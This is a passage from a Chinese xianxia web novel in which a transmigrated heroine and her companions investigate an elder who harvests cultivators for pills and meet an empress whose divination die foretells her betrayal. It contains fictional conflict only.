自埋尸起便一直默不作声的关云铮率先迈开脚步, 过了这么一会儿依旧没觉得自己杀错人,只觉得一剑毙命好像轻了些。 毕竟—— “你在他将死之时看到了他的记忆?”兰珏皱起眉, “如何看到的?” 关云铮坦诚地摇了摇头,她也想不明白。 叶泯坐在一旁听完了全程, 眉头皱得比兰珏还要紧一些:“你是说, 他先前在那破庙中是要与那些丹修勾结,将无辜之人供给他们作为炼丹的原料?” 他复述了一遍关云铮所说,把自己给说生气了:“什么猪狗不如的东西?!一剑还是太便宜他了!” 关云铮默默把倒好了竹叶茶的茶盏推到他面前。 谭一筠也拿起子不语, 难得发挥了一次折扇最原本的用途, 给叶泯扇了扇风,又看向关云铮:“你方才怎么不说?” 他们对她的秉性有所了解,但若是日后也发生了这样的事呢?不先将真相告知他人的话,该如何自证清白? 像是知道他在想些什么,关云铮语气平淡:“人是永远不可能自证清白的, 谁主张谁举证,觉得我有罪的人大可以拿出证据来给我定罪。”她说完这话又意识到话里的隐含意义太多,好像是不信任同伴似的,换了个轻松些的语气说道,“倒不是说这件事。方才没解释是因为我杀季邕时没有看到这段记忆,杀他也委实是我一时冲动之举,所以没什么好说的,像蹩脚的借口。” 她承认得太过坦荡,谭一筠被哽了个不上不下,只好拿起茶盏喝了口茶给自己顺气,一时之间都不知道是季邕可恶,还是不为自己辩解的关云铮更可恶一些。 杀人这事可大可小,平民百姓杀了人多半要不得善终,权贵之家杀人却像随手捏死蝼蚁。修仙之人杀人,则有更多的名头可以被用来粉饰太平——譬如所杀之人是邪修,所杀之人是恶徒,所杀之人是其他种种行恶事之人…… 说到最后还得来上一句此举是为了行侠仗义或是除魔卫道,这番歌功颂德的言论才算是圆满。 但关云铮连一句矫饰也懒得想,直截了当地说自己就是想杀人,谭一筠险些被她气了个仰倒。 楚悯脸上倒是与关云铮如出一辙的神情平淡:“兴许是云铮善用某种查看记忆的法术,而季邕其人的神魂又在濒死之刻毫无防备,才能被云铮看见这段记忆。” 在座阅历最为广泛的兰珏不置可否,只抬手拍了拍关云铮的肩膀:“既然你见了他那样不好受,想必从前一定受了莫大的委屈,他又是那样一个东西,杀了便杀了吧,莫要挂怀,我来处理。” 在看清季邕的脸之前,关云铮也是这样想的。 但那毫无来由的疼痛和恨意看似互为因果,实际并无太多联系。那种疼痛是强加给她的,她虽痛,但更像是触碰到了装着沸水的金属水壶,灼痛但不完全真切,里头究竟是沸水还是沸的别的什么,其实她无从知晓。 然而那恨意却是真切的,可以与她的想法毫无滞涩地融为一体的,仿佛那想法从她睁开眼时便扎根于她的脑海,见到季邕的脸后才猛地被大脑挖掘出来。 她那时几乎有些茫然:那疼痛究竟是因为什么,又为何会有这样深重的恨意?既然这痛苦很可能不是她所承受的,这般不真切,她又为什么会这么恨呢? 但此刻听了兰珏的话,她忍不住想:或许她真的曾感受过莫大的委屈。不然恨意又该从何而来呢?世上之事,总归都有理由吧? 关云铮默然拿起茶盏,喝了口已经变凉的竹叶茶,从冰凉的茶水里品到一点微末的熟悉感,如同这几日所有萌生的熟悉感一般,来得莫名其妙。 兰珏说着要去帮忙解决,便真的站起身走了,只是临走前还没忘了嘱咐她的徒弟:“你崔师弟方才来找,既得空,便快去外门弟子院寻他吧。” **** 崔栩铭不是翠屏人,幼时家中孩子太多,养不过来,作为手不能提肩不能扛的病秧子,被他的爹娘送上了翠屏山,勉强留在了外门。他那时已能记事了,故而到如今也依旧记得,那时爹并没有回头,只是娘流了几滴眼泪,但究竟流了几滴,他已经记不清楚了。 十年过去,他从一个活着都很艰难的病秧子,跌跌撞撞地长成了如今的模样,在师父的教导下艰难地学会了引气入体,在每日练功的情况下,终于不再病病歪歪,要不了多久应当就能够筑基了。 崔栩铭对自己的要求不算很高,筑基便是他给自己设下的最宏大的目标了,因此在走向筑基的每一日里并不着急,哪怕身边许多外门弟子都削尖脑袋想挤入内门,他也能够安然地在自己的小院里练剑画符。 “外门有不少像他这样的弟子,其中有一些始终觉得自己‘时运不济、命途多舛’,我就听见过好几次。”谭一筠带着同伴们往外门弟子院走,颇有些唏嘘地说道。 从小便是不被选择和偏袒的那一个,进了仙门以为能过上好日子,结果仙门里也分“高低贵贱”“内外尊卑”,少不得感慨几句“时乖命蹇”,关云铮觉得这是人之常情,没什么好指摘的,只能默不作声的听着,没发表言论。 谭一筠叹了口气:“我也没有爹娘,不知是他们不要我了,还是死了,总之师父说我是被她捡来的。师父一人得道,我作为她捡来的孩子自然就鸡犬升天了,不曾有过什么苦日子。但要是易地而处,我大概也无法释怀,毕竟那是亲生父母,为什么偏偏要抛弃我呢?自己会这样想的话,就觉得崔师弟真是了不起,好像从来也没有这样想过。” 然而心里的苦是需要发泄的,他倒不如像外门那些弟子一样,多感慨几句,埋怨几句,甚至恨上几回,多少能好受一些。 翠屏山家大业大,从兰珏的院子走到外门弟子院花了四人好些工夫,谭一筠说了一箩筐的话,竟还没抵达。难怪外门和内门之间有隔阂。物理意义上的隔阂都需要花这好些时间才能消除,更不用说心理意义的了,那得是鸿沟级别的吧? 关云铮正跳脱地回忆着马里亚纳海沟深度,究竟是哪几个数字作为零头,忽然听见身后不远处传来一声十分陌生的声音:“小筠。” 这样称呼想必是兰长老级别的长辈了,关云铮转过身之前不动声色地看了叶泯一眼,见他若有所思,心里不自觉一咯噔:难道真这么寸,身后的就是那要用人炼丹的长老? 然而再咯噔,作为谭一筠带来的客人,又是小辈,是不可能撂着一个长辈不去搭理的,关云铮只能硬着头皮装蒜,一脸淡然地转了过去。 来人是个有些年纪的男人,当今修仙之人也就比凡民多活个几十年,该衰老还得衰老,他看上去比兰珏至少老上十几岁,一小部分须发已经由黑转灰了,估计要不了几年就得发白。 这样的人,服下丹药后再厉害,也不过就是厉害几年的光景,丹药只能提升修为又不能延长寿命,时候到了还是得死,究竟图什么? 难道他还打算用更多的人炼丹,好让他修为一路飙升直到飞升? 这种人要遭雷劈的吧,能让他飞升?过得了天劫吗? 短短转身的工夫,关云铮脑海中已经万马奔腾般过去了好些想法。 谭一筠率先行礼道:“蔺长老。” 被他称作蔺长老的人“嗯”了声,目光不动声色地掠过其余三人,没发觉什么异常才平静收回:“来找栩铭?” 谭一筠恭敬道:“是,师弟可在?” 蔺长老随口道:“仙门大比的事安排得差不多了,这几日巡城,修炼一事上他多有松懈,现今应在院中练功。你来了也好,多指点他几句,早日筑基也是好的。” 谭一筠连忙称是。 蔺长老似乎真的只是碰巧路过,见了他过来打声招呼,说完这话便又走了。 待他彻底走远,关云铮才与叶泯打起谜语:“他?” 叶泯点点头:“是。” 坏了。还真是他。 虽然叶泯稀里糊涂地记不起事,又莫名其妙地想了起来,但总归是对自己昏迷前看到的景象印象深刻,这才几日过去,应当不会认错。 反倒是和叶泯一同被关进地牢的楚悯,时至今日依旧对昏迷前的事一无所知,仿佛是被突然抛到此处一般,对为何来到此地一头雾水。 不过……她们今日跟着谭一筠来找崔师弟,就是为了弄清此事的。 **** 崔栩铭和谭一筠关系确实要好,谭一筠一露面,他那崔师弟就眼巴巴地跑了过来,叽里咕噜地说了一大堆有的没的,两人之间的氛围完全插不进第三个人。 关云铮忍不住同楚悯小声蛐蛐:“一对话痨师兄弟。” 楚悯失笑,环视了一圈崔栩铭的院子,又低声道:“外门的弟子院环境确要差一些。” 叶泯看了眼院子那头聊得不知年月的两人,小声道:“难道不是因为弟子院被我们炸塌过一次?” 也是。 楚悯罕见地有些词穷,过了片刻才接着说:“该怎么向他问起才合适?毕竟那蔺长老是他的师父,他似乎对炼丹一事也并不知情,只是不想伤害无辜之人,才会救下我和叶泯,还有灵犀。” 虽然还不知具体是谁干的,但他们已经默认做了这两件好事的都是崔栩铭,仿佛在偌大翠屏山门派中,其他暂时无名无姓的“NPC”不会影响主线进度,而非得是个有名有姓的人物,才值得创作者为ta写一段剧情似的。 怎么搞得好像这是出人为安排好的剧本? 关云铮此人学不会委婉,从小到大拢共那点情商全点在无用的共情上了,外交辞令是一点也没学会,闻言有些发愁:“该怎么问呢?” 从小到大被教育得只会死读书的孩子长大了就这样,学校不教的东西就一点也不会,到了社交场合搜肠刮肚也翻不出一句所谓的高情商发言。 好在她的同伴不是这样教育模式下的产物,叶泯思忖着说道:“不如我就……” 他说着,卷起了一截衣袖,正好露出绕在他腕上缩小了数倍的灵犀。 灵犀不明所以地用脑袋蹭了蹭他的手腕。 好像有点道理。 虽然体型变小了,但花纹什么的凑近了仍能看出是同一条蛇,万一崔栩铭真是救下灵犀的人,没准就认得出来。 关云铮和楚悯对视一眼,心里不太有底。倒不是说叶泯这法子不好,她们暂且也想不出更好的法子,总不能解了兰珏施在他二人身上的障眼法,然后兴高采烈地同崔栩铭说“还记得我们吗?我们其实长这样”吧? 先不说以他们的境界,解不解得开兰珏的术法,且就说那蔺长老,他指不定还没走远呢。 而且他们现下也只是觉得崔栩铭的可能性最大,但这不代表一定是他救的人,还得藏着几分才行。 一番考量之后,叶泯理了理衣袖,尽量让灵犀露出来得自然些,迈着不太自然的步伐朝那话痨师兄弟走了过去。 关云铮和楚悯留在原地悄悄观察,还没忘了端着空茶盏凑在嘴边作为遮掩。 她们这一路走来,倒是真有几分渴了,可惜巧妇难为无米之炊,崔师弟的院子里只有茶盏,没有茶壶,也不知道这套茶盏摆在这里是做什么用的,接露水喝吗。 院子那头的谈话声忽的小了,关云铮从茶盏边缘分去一束目光,发觉崔栩铭正惊疑不定地看着叶泯腕上“超绝不经意露出”的灵犀。 她无声地和楚悯对视了一眼。 叶泯对崔栩铭了解不多,但谭一筠一见崔栩铭这眼神便明白了几分,一面将叶泯的衣袖盖了回去,一面对他崔师弟说道:“你近日不都在城中巡视,怎么会有空?” 这话乍一听有些像是问他今日怎么有空,实际在座四人都还记着蔺长老方才说的话,所以此言其实是在问:那日他怎么有空,能救下两人一蛇。 崔栩铭收回目光,又兀自看了叶泯几眼,这才答道:“师父遣我办事。” 合着蔺长老做坏事根本没打算瞒着他这徒弟,当日没准还是让崔栩铭帮他抓了人再下山的。 “那乾坤袋……?”叶泯试探着问道。 崔栩铭一愣,随即有些惭愧地说道:“我还没有乾坤袋。” 关云铮险些没拿住手中茶盏。 合着不是有意为楚悯和叶泯留下了乾坤袋,而是他自己没有,也便不曾特意收缴? 也不知道该说一句此事荒谬还是…… 此情此景其实很需要有个人出来说句话,缓解尴尬的氛围,可惜这时候不管说什么都是雪上加霜。总不能说“外门弟子没有下山历练的资格,所以不曾分发乾坤袋”吧? 乾坤袋又不是什么稀奇物件,外门弟子没有,无非是掌管此事的人觉得他们不重要,不给也没什么所谓,不然哪怕不下山,难道还没有几件需要贴身收着、随取随用的物件吗? 翠屏山到底是个什么样的门派,既然不看重外门,觉得他们是群连乾坤袋也不必有的,又为何要分内外而治呢?为了让内门的长老和弟子觉得自己高人一等,如此心境催逼之下,修为境界便可一日千里了吗? 也太荒唐了吧。 好在崔栩铭在这样的环境里已经待习惯了,也不知是麻木了还是当真不在意,很快便自如地问道:“你们有何打算?” 叶泯看了谭一筠一眼,得到对方肯定的目光后才答道:“我应当是同哥哥走散了,仙门大比开始后会去找他。至于楚姑娘……” 楚悯不知何时已经与关云铮一起站在了三人身后,此时接话道:“我和云铮一道。” 毕竟一个是不知师承的散修,一个是不知为何来此的天问,倒还挺适合结伴而行的。 崔栩铭点点头:“既如此,便祝各位万事顺利。” 他说话时很真诚,双眼看起来亮极了。 只是……关云铮忍不住皱了皱眉,听他语气,似乎是知道蔺长老在筹谋些什么,但不清楚具体的内容?还是他知情但不打算提醒他们? 谭一筠不知想通了什么关窍,没再多问,一改话茬:“听师父说你有事找我,什么事?” 关云铮在旁边听得简直要晕了,合着这话痨师兄弟方才唠了半天嗑,还没说清楚这件事? 崔栩铭恍然回神似的:“师父说陛下近日也会来翠屏山观看大比,师父将迎接招待的事派给了我,我有些拿不准主意,想问问师兄。” 陛下?关云铮一头雾水地看向楚悯,同她做口型:朝廷那位? 楚悯点点头。 真神奇,既然皇帝要来看比赛,不是,看仙门大比,那想必朝廷也是要管仙门事的了?看来修仙之人虽然入了仙门,但还没有完全脱离红尘啊。 后面谭一筠与崔栩铭说些什么关云铮也没在意,拉着楚悯又到一边去说小话了。 **** 崔栩铭口中的那位陛下究竟是何时来的,关云铮一概不知,兰珏的院子当真配得上一句“天高皇帝远”,她在里面学了几天的轻功,再出来时才得知陛下早就到了,正在山中清修。 音修要体会的东西不比轻功,没有明确的衡量,轻功只需要看“轻、快”二者上是否有进益,衡量音修境界的东西却玄而又玄,说不出个所以然来。 所以在关云铮轻功小有所成的时候,楚悯和叶泯仍被兰珏扣在院中修炼,谭一筠也终于起了上进心,陪在一边练剑招,虽然剑谱是兰珏丢给他的。 那场景真有点像是“接着奏乐接着舞”,关云铮看了直想乐。 无人陪伴,好在这段时间以来,她也对翠屏山有了些了解,索性独自出门,漫山闲逛着找乐子。 她方向感依旧很一般,虽然记得路,但走的时候漫不经心,很快便越走越偏,到了个比兰珏院子还偏的角落。 周围陌生的景色掠过眼帘,关云铮回过神来,正要转身回到自己认得的路上,便听见一阵“咕噜噜”的动静,中间仿佛还夹带着清脆的铃声。这动静听着近得很,她不由得四下寻觅了一番,正好看见一个滚到她脚边的小玩意。 “劳烦小仙长帮我拦一拦,这东西怎么滚起来就停不下来了。”一个女声在不远处响起。 关云铮弯腰将那反光的物件捡起来,拿到手里时一愣,下意识仔细数了一遍这东西的面数。是个……十八面骰? 方才出声的女人走到她身侧:“是不是还挺新鲜的?” 关云铮这才意识到自己拿着人家东西不放,连忙伸手递还:“冒犯了。” 女人笑眯眯的:“不冒犯,我看小仙长装扮不像翠屏山弟子,是其他门派的?” 关云铮其实不大爱搭理陌生人,但这女人行事作风过于坦荡,并且见了她之后,那种莫名的熟悉感又在她心头萦绕,不由得放下几分警惕,答话道:“只是个没有师承的散修,不是什么门派弟子。” 那女人若有所思地点点头:“但我看你行走姿态间很是轻盈,想来功夫也不会差的。”还没等关云铮应对她这句夸奖,她又笑着说道,“多谢小仙长为我拦下这东西,祝你在大比中获得好名次。” 她自顾自地说完这些便抬步走了,留下关云铮一人在原地一头雾水:她轻功已经到这种地步了?真的假的? 在她看不见的地方,那拿着十八面骰的女人一转身便撂了脸,仿佛天然长了两张面孔似的,此刻浑身散发出一种悲戚来。 手心的十八面骰尚且留有人掌心的余温,但片刻之前昭示的景象却令人心间一片冰凉—— 作者有话说:白天写不出,晚上不想写,这日子真是太有盼头了[墨镜] 第127章 关云铮往回走的路上仍在思考那十八面骰的用途, 不留神险些被人迎面撞上,脑子还没反应过来,脚下已经“飘”出去了半步远, 还没忘了将来人扶了一把。 做完这一串动作后, 她才堪堪回神,见来人是个与她年纪差不多的姑娘, 原本一脸慌张, 此刻慌张里又添了几分钦佩。一张脸上原来真能先后展现出饼状图一般的情绪分布,真是神奇。 “仙长好,不知仙长可曾见到我家……小姐,个子大约这么高,穿着……”来人磕磕绊绊地边比划边说着。 关云铮看她实在着急,穿的衣服和方才那女人一样都不是翠屏山上见得到的衣着, 便大概有了数,向身后一指道:“你沿着这条路往里走, 兴许能找到。” 来人连忙朝她行了个礼,道过谢后急忙向她身后走去了。 关云铮与她擦身而过, 继续执行原计划, 在翠屏山里胡乱溜达。 只是还没逛多久,楚悯便找了过来,一见她便说道:“你见到陛下了吗?” “见到了。”关云铮随意地一点头, “还见到了她的侍女。” 楚悯原只是听兰珏说陛下兴许也在这边才有此问, 此刻听了关云铮的话反而有几分讶然:“真见到了?你如何认出来是她的?” 关云铮把偶遇两人的经过简单说了说:“我看后来那位行礼的姿势,总觉得是什么深宫大院出来的人,而且她向我询问时明显有个改口的停顿,先前遇到的那位肯定不是她所说的什么‘小姐’,身份大概还要更尊贵一些, 所以不太方便告知我。方才听你这么一说,想必就是陛下和她身边的侍女了吧。” 楚悯觉得她分析得有道理,点了点头又说道:“你说的那个十八面骰,应当是法器洞玄。” “洞玄?做什么用的?”关云铮一面和楚悯往回走,一面问道。 “似乎是个卜卦的法器,据说能昭示未来。”楚悯回忆着,“不过我向来也只是听说,不曾见过。” 能昭示未来…… 如果真是这样,那位女帝来翠屏山之前,会不会已经知道了外门长老用人炼丹这事?如果知道,为何她似乎……置若罔闻?还是说她已经有了应对的手段,只是还没落实? 关云铮有些困惑,总觉得朝廷和仙门的关系好像有些微妙,其中还有什么是她没想明白的关窍似的,一时之间陷入沉思,没接楚悯的话茬。 楚悯倒不在意,拉着她以免她又撞上什么,继续说道:“听说陛下也曾在仙门中修习过一段时间,此次出行也就没带护卫,只带了几个随侍。”现下看来,就连这几个随侍她都不大愿意带着,喜欢一个人待着,让别人一顿好找。 一直在出神的人终于回过神来:“仙门修习?”这倒完全在她意料之外,总感觉当到皇帝这份上,与仙门唯一的牵扯就是长生不老药丸,平日大概也就表面上展现出虔诚的模样,真入仙门修习还是太匪夷所思了。 楚悯若有所思,随后又懊恼地叹了口气:“好些事都记不清楚了。” 关云铮近日也常被这种感觉困扰,闻言安抚地拍了拍楚悯的手:“顺其自然吧,想不起来就不想了。” 虽然她嘴上是这么安慰楚悯的,但心里其实已经对此事好奇起来了,只是苦于同事件中心的人物没有接触,好奇心始终得不到满足。 ——直到仙门大比开始的当日。 **** 不同于随兄长一同来到翠屏山的叶泯,关云铮和楚悯都不知自己究竟为何来此,大比的名单出炉时,上面也没有二人的姓名。 不过不在参与者之列倒方便了关云铮在大比期间继续到处乱窜,只是还没等她在翠屏山各处留下自己的足迹,她便又遇到了那位女帝。 这次她又是孤身一人。 那日初见时她穿的常服十分素净,今日想来是要去观礼,衣服陡然华贵了几分,金色的绣线在锦缎上留下繁复的纹样,看得人无端眼花。 关云铮学不会宫中的礼数,但又觉得不管是出于规矩还是出于她的本心,都该行个礼,只好对着她简单作了个揖。 毕竟活着的女帝可是很少见的。 女帝明显也还记得关云铮,见了她朝她招了招手:“小仙长怎么没去观礼?” 关云铮总不能说自己对仙门大比其实没什么兴趣,于是笑嘻嘻地说:“您不也没去?” 女帝失笑,伸手掸了掸自己的衣摆:“我去了,那些长老们多半会有所拘束,连带弟子们也要束手束脚,倒不如不去。” 没有楚悯的提醒,关云铮确实没有往“眼前此人就是他们口中的陛下”这一念头上想过,她一直知道自己的思维定势有点严重,总是会默认身居高位者是男人居多,毕竟男人是个相当“团结”的群体,一人上了高位就会产生高位的垄断,久而久之就算女人想拔尖,也成了一件难事。 不过这想法在她见到谭一筠师父后其实有些被颠覆——这段时间以来,她也算亲眼见识了兰珏在翠屏山中的威望有多高,门中众人对她有多尊敬。 当人们习惯了某位女性身居高位,并将此事视作理所当然,旁观者也会不自觉被带入这样的思考习惯里,有兰珏这个例子在前,关云铮那日初见女帝时几乎没怎么疑惑,就接受了“当今皇帝是个女人”的事实。 仙门长老可以是女人,皇帝自然也可以是,没人规定过这些位置只能由男人占据。 关云铮逐渐对此地与21世纪不同之处接受良好,但对女帝方才“现身会令他人束手束脚”这一言论感到些许不认同:“您如此随和,怎会令人拘束呢?” 这话实在太像拍马屁,但因为她言辞恳切,目光也极认真,反而看不出太多逢迎之意。 女帝对她笑了笑:“你觉得我很随和?” 都没用皇帝的自称,还不随和吗?关云铮在心里嘀咕。 她实在胆大包天,在皇帝面前也不知道遮掩,有点心思都写在脸上了,一眼就能看明白。 面对心怀坦荡的人总是忍不住卸下面具,遇上道貌岸然之徒则总要将假面焊得更为严实些,这是关云铮这段时间以来逐渐形成的待人接物之道。 “你叫什么名字?”女帝忽然问道。 关云铮老实答了,习惯性特意说明了一番究竟是哪个“zheng”字。 “铁骨铮铮的铮?”女帝笑得眼睛都弯了起来,“好名字。” 她表现得比兰珏还要随和,关云铮站在她身边时几乎要觉得自己是个被她看着长大的小辈,不由得愈加放松警惕。 “我叫苍韫桢,苍天的苍,韫……”她似乎一时没找到合适的词,随手折了一截一旁刚开败的花枝,在脚下的青石砖上走笔龙蛇般地画了几笔。 关云铮看清楚了,十分不把自己当“外人”地点了点头:“您的名字也好。” 苍韫桢写完字,笑着将那花枝又丢了回去,不知动了什么术法,那花枝居然原封不动地“长”在了折断处,原本已经开败了的枝条上竟又冒出一朵不起眼的花苞来。 关云铮瞳孔地震:原来小悯说的“女帝曾在仙门修习过”不是虚言,她不仅修习过,造诣怕是比许多正统仙门弟子还要高些。 苍韫桢看出她眼里的惊讶:“想学吗?” 关云铮默默点头。 可惜苍韫桢这话只是逗她玩的,因为她很快又说道:“唉,我也教不了你,这点三脚猫的功夫还是一位友人演示与我的,只学了点皮毛,就不误人子弟了。” 您先勾起别人的兴趣再说教不了,难道不是更误人子弟吗,关云铮有些许怨念地想。 苍韫桢的玩笑点到即止,很快又正色道:“你不是翠屏山弟子,也不参与仙门大比,那你留在此处是为了什么?” 关云铮还真答不上来,总不能说自己待在这,其实是为了抓住翠屏山的内鬼,那内鬼还是外门颇负声望的一位长老吧?那岂不是擎等着被抓吗? 苍韫桢简直会读心,见她不说话,又笑着问道:“不能说呀?那看来不是什么好事了。” 她佯作若有所思状,捏着下巴思忖了片刻,忽地语出惊人:“让我猜猜,你来翠屏山之前见到了一些行为举止怪异的人,调查之后发觉此事竟与翠屏山有关,故而来此查探?是也不是?” 关云铮险些被自己口水呛死。 苍韫桢好像生怕她觉得自己今日是见了鬼,当着她的面从不知道哪里摸出一个物件——正是那日滚到她脚下的十八面骰,也即法器洞玄。 “原来您真的已经知道了。”关云铮一看清那物件的模样便喃喃道。 “说来也是奇怪,我并不依赖此物卜算,什么昭示未来的话,其实也是仙门中人更为笃信。但临行前我忽然有种预感,不带这小东西会后悔似的,便将它带来了。”苍韫桢真的没把她当外人,什么该说不该说的都当寻常话语似的说了出来,“在来时的灵舟上,我已看到了翠屏山门派中即将发生的变故。” 那除了面数多一些,看起来几乎有些平平无奇的骰子,在苍韫桢手中微弱地反射着日光。 “那您……有什么谋划?”关云铮听见自己这样问道。 苍韫桢这次没有正面回答她的问题,反而另起了一个话头:“方才是我猜中了,不如你也猜个谜?” 关云铮不明所以地抬起头,把目光从洞玄移到她脸上。 只见苍韫桢将那盛着洞玄的掌心摊开在她眼前:“你猜,那日此物滚到你脚下之前,我从中看到了什么?” 关云铮自然猜不出,只好继续茫然地望着她。 苍韫桢仍旧在笑,只是那笑意仿佛冻在了嘴角,无法向别处蔓延:“它昭示了一年多后的未来,给出了一句判词。” “判词?”关云铮感觉自己喉咙有点干涩,“给谁的?” 苍韫桢像一只拨弄着毛线球的猫,态度近乎轻慢地把玩着手中的洞玄:“给我的。”她几乎将洞玄抛高了半尺,态度不像是面对一件权能惊人的法器,“它说一年多之后,我将众叛亲离。” **** 前来参与仙门大比的人各有住处,有名声响亮师承的散修可宿在翠屏山为其准备的院子中;寻常散修便只能在山下城中自寻客栈落脚,至于大比期间客栈会否涨价……那不是翠屏山要考虑的事。 仙门中人也并非全都宿在山中,一部分仙门与翠屏山相去甚远,许多生活习惯上皆有不同,为免饮食居住上出了岔子影响日后的大比,一般都宿在自备的灵舟之中。反正大多数仙门弟子都辟谷,甚至无需采买餐食。 只不过灵舟平日只需作为载具,到了这种时候光容纳人在里面坐着自然是不够的,内里的空间还需扩大好些倍,要耗费的灵气自然也是成倍增长。这部分额外的灵气支出由翠屏山的阵法提供,也算是在某种程度上尽了地主之谊,没让客人白来。 一部分与翠屏山所去不远的门派自然对这些琐事没什么计较,干脆地宿在了早就为他们准备好的院子中——归墟苍生道便在这部分仙门之列。 谭一筠被自家师父领着去问候时还忍不住嘀咕:这院子一看就是那几个小心眼的长老布置的,估计是觉着归墟苍生道是个小门小户,安排的住处比他师父的都偏僻。要是门中发生点什么事,他们从这院子赶过去,怕是吃什么都赶不上热乎的。 小心眼的这帮长老里倒是不包括蔺长老,他虽一朝念头走茬,但平日待人极为慷慨大方,更不用说接待客人时的表现。只是这类可以与其他门派结交善缘的好事,向来是轮不到他这个外门长老的,就算是上赶着折腾自己也没他的事。 谭一筠想到这不禁有些唏嘘:设身处地地一想,他竟然觉得蔺长老的初心没什么问题,只是实现目的的手段太过不妥,兴许也是内外门之间的差距让他不得不这样做吧。 他想得太过入神,没留神师父在叫他,回神时被毫不留情地敲了一下脑壳:“章先生问你话呢,走什么神。” 谭一筠连忙回神,章存舒倒也没生气,将方才的问题又重复了一遍:“小筠不去参加大比?” 他老实地摇摇头:“弟子境界不足,武艺上也多有生疏,只有几个阵法乏善可陈,可供驱使,真参与其中,怕是会被打得满地找牙。” 坐在章存舒身边的女弟子弯起眼睛笑了笑:“话不是这样说的,大比并不只看武学,今日才开始,你可与人结盟,最大限度发挥出阵修的优势,不见得是真的弱势。” 谭一筠不知这弟子的姓名,索性以“师姐”称呼:“这位师姐太抬举我了,我离师父这样的阵修水平还差得远呢,不敢班门弄斧。” 兰珏没好气:“年纪轻轻说话像个老油子,少拍马屁,给我把舌头捋直了说话。” 谭一筠这次倒没被敲脑袋,颇有些劫后余生似的同他师父卖乖道:“内门师兄师姐们多如牛毛,哪轮得到我去滥竽充数?我在外头看个热闹就好,师父您就别为难我了。” “你是不想滥竽充数?你分明是不想与人大打出手,也不知这优柔寡断的性子随了谁。”兰珏没好气地拆穿他。 谭一筠只笑没接话,心说可能是随了他早逝的爹娘吧,但凡他爹娘中的任何一位是师父这样的性子,怕是也不会死得那样早了。 叶泯找过来时谭一筠仍坐在桌边陪两位长辈说话,见他从院墙上冒出头来,连忙对兰珏说道:“师父,叶泯寻我。” 兰珏懒得同他这个慢性子掰扯,摆摆手道:“去吧。” 谭一筠对着章存舒和那位师姐告辞,这才起身向院外走。 甫一与叶泯碰头,便听叶泯说道:“蔺长老可能动手了。”—— 作者有话说:隔两日更肯定就是章节节奏卡在六千字以上了,隔日更就是四千多()此人更新太过随心大家多多包涵[可怜] 第128章 谭一筠闻言险些把脚崴了。 叶泯顺手托了他一把, 接着说道:“你应当知道,崔师弟参与大比的日子正好是今日,我方才看他与人比试完了, 本想立即去找他, 被场下闹事的绊了片刻,回神时再看, 他已经不见了。” 谭一筠忍不住庆幸自己已经走出了院子, 不然此刻慌得六神无主的模样恐怕又要让师父敲脑袋。但此事毕竟早在他们预料之中,他只慌乱了片刻便强行镇定下来,一面同叶泯疾步往外走,一面问道:“何人闹事?” 说起这事叶泯就觉得烦,有种事情忽然脱离掌控的懊恼:“我怀疑是几个私下服用了丹药的散修气性上来了,比试完还不嫌累, 又在擂台下找茬打了一架,把擂台边堵得水泄不通, 我险些被挤成肉饼。” 然而丹药出自谁之手他们心知肚明,散修寻衅滋事倒不见得全然不在他人掌控之中, 极有可能是同谋在为炼丹之人拖延时间。 “对今日参与比试之人来说, 他们的下次比试确实还得过上几日,蔺长老他们想趁此时间将已经在众人面前露过脸的人悄悄抓了,再以闭门修炼或休整为由, 让炼丹一事变得神不知鬼不觉。”谭一筠很快明白了蔺长老的计划, 皱眉说道。 只是哪怕用上这样的借口躲过两次比试之间的日子,这些修士到了下次比试的日子还得露面,到时一个个皆是修为尽失,岂不暴露他们的计划? 此事对两人来说太过惊世骇俗,站在自己的视角根本想不明白, 他们不得不试着想象自己就是蔺长老等人时,究竟会怎么做。 “兴许只在每个人身上抽一部分修为,这样哪怕是下次比试时显露出不对,观摩者兴许也只会认为是初次比试的伤势未愈?”叶泯揣测。 “也不是没有可能,毕竟你被抓那日就被抹去了一部分记忆,若是他们也能对其他修士这般施为的话,不让修士们露出端倪也不是问题。”谭一筠脚下飞快,嘴皮子也不遑多让,“我就怕我们把此事想得太简单了。” 叶泯转过脸看他:“怎么个简单法?” “我们一直认为,蔺长老更想打破内外门之间的鸿沟,让整个翠屏山成为不分等阶的整体。”谭一筠遇事总忍不住往最坏的地方想,此刻这本领也没忘了发挥作用,“但如果他根本不打算继续留在翠屏山呢?毕竟若是他计划成功,众多修士的修为都会变成足以令人功法一日千里的丹药,他若是服下许多,修为又会高到什么程度?到时候他还有必要给翠屏山脸面吗?” 他相信蔺长老最初的目的一定是消除内外门的等阶之分,但炼丹一事他也一定已经筹谋已久,这期间他“取之于民用之于民”,用散修的修为炼成了丹药,私下又兜售给散修,用他们试药,目睹了这丹药对人的效用究竟有多虎狼。 如此一来,他还会止步于简单的打破等阶吗? 谭一筠没法在此事上设身处地,但只要稍一想象,便觉得鲲鹏是不愿待在池塘之中的,哪怕这鲲鹏是用丹药喂出来的。 如果他想要扶摇而上,那池塘的鱼究竟是死是活就彻底与他无关了,他还有必要小心翼翼地抹去那些修士的记忆,让他们“毫发无伤”地回到大比的现场吗? 这样岂不是拖累了他的脚步,杀掉这些人应该会更快吧? 叶泯显然也想到了这一点,两人的脸色不约而同地难看起来,但还没忘了正事:“我们得先去找云铮和楚姑娘。” **** 先前被谭一筠提起过一次的归墟之人大概一直宿在自己的灵舟上,今日才露面,除了一男一女两位弟子参与大比之外,还有个年纪稍小些,一同前去观礼的弟子。 兰长老知道楚悯没有谭一筠那样活络的嘴皮子,去观礼还能有些新鲜玩意可看,待在院中却得在长辈眼皮子底下不自在,干脆在那时将她也带了过来。确保她所在位置能清楚地看见擂台之后,才带着余下的客人回到自己的院子里。 这次由翠屏山操办的仙门大比与往年的略有不同,除去传统的擂台比试之外,还增设了几日之后的幻境考核,不仅考验弟子们的修为境界,更是考量了众人的心智,是个全新的考察形式,不知到时效果如何。 不过那两位剑修参与的比试似乎并非今日的场次,兴许是为了提早了解未来的对手?楚悯坐在原地思忖着。 崔栩铭的比试她倒是见着了,他被安排与一位已经筑基一段时日的修士比试,期间很是费力。虽然同为剑修,多数时候依赖的是无需灵气的剑招,但剑诀的使用毕竟仍旧需要灵气,是否筑基直接影响到了可运用灵气的多寡,同样的剑诀在崔栩铭手中,和在他的对手手中几乎是截然不同的效果。 楚悯在旁观看时甚至一度觉得这安排太过不合理了一些,但几场比试下来,这样的安排却并不多见。观礼席上或有与她产生同样想法的人,大多也在总结了几场比试之后得出了最具可信度的结论:崔栩铭运气不佳。 